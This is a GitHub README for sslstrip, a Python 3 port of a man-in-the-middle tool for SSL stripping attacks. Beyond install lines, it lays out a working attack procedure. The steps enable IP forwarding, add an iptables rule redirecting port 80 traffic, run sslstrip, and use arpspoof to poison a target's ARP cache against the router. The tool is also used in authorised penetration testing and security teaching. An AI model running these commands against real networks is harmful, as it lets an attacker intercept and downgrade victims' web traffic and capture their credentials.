Skip to content

Latest commit

 

History

History
executable file
·
26 lines (18 loc) · 1.1 KB

README.md

File metadata and controls

executable file
·
26 lines (18 loc) · 1.1 KB

sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.

Ported from Python v2 to v3 by Jay Townsend (theHarvester, Discover, and DNSrecon).

  • Twitter Follow Jay "L1ghtn1ng" Townsend @jay_townsend1

Requirements:
pip3 install -r requirements.txt

Run as root to install or run it out of the directory:
python3 setup.py install

Running:
sslstrip can be run from the source base without installation.
Run as a normal user to see options.
python3 sslstrip.py -h

  1. As root, enable IP forwarding:
    echo "1" > /proc/sys/net/ipv4/ip_forward

  2. As root, setup iptables to intercept HTTP requests:
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <your listen port>

  3. Run sslstrip with the options you prefer.

  4. As root, run arpspoof to redirect traffic to your host:
    arpspoof -i <your network interface> -t <target IP> <routers IP>